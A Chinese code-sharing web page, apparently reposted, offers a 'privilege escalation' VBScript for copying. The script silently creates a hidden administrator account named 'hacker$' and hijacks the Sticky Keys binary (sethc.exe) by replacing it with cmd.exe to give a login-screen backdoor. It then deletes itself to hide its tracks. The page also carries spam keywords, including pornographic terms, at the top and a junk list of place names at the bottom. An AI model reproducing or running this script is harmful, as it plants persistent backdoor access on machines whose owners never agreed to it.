国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

提權vbs代碼

2019-10-26 18:04:57
字體：大 中 小
來源：轉載
供稿：網友
復制代碼 代碼如下:

on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments
(0):password=Wscript.Arguments(1):Else:username="hacker$":password="123456":end if:set
wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject
(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword
password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo
of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%/system32/sethc.exe&echo y| cacls %SystemRoot%
/system32/sethc.exe /G %USERNAME%:F© %SystemRoot%/system32/cmd.exe %SystemRoot%/system32
/acmd.exe© %SystemRoot%/system32/sethc.exe %SystemRoot%/system32/asethc.exe&del %SystemRoot%
/system32/sethc.exe&ren %SystemRoot%/system32/acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

主站蜘蛛池模板： 积石山| 泸定县| 三江| 会同县| 东乡| 巨鹿县| 阿坝县| 新蔡县| 繁峙县| 南漳县| 简阳市| 岐山县| 中超| 依安县| 霍林郭勒市| 葫芦岛市| 中西区| 黑河市| 文昌市| 老河口市| 黄平县| 基隆市| 乃东县| 台南县| 泊头市| 满城县| 深水埗区| 汨罗市| 双鸭山市| 丹棱县| 龙岩市| 赣榆县| 隆林| 呼伦贝尔市| 鲜城| 南溪县| 台南市| 安龙县| 额敏县| 峨眉山市| 县级市|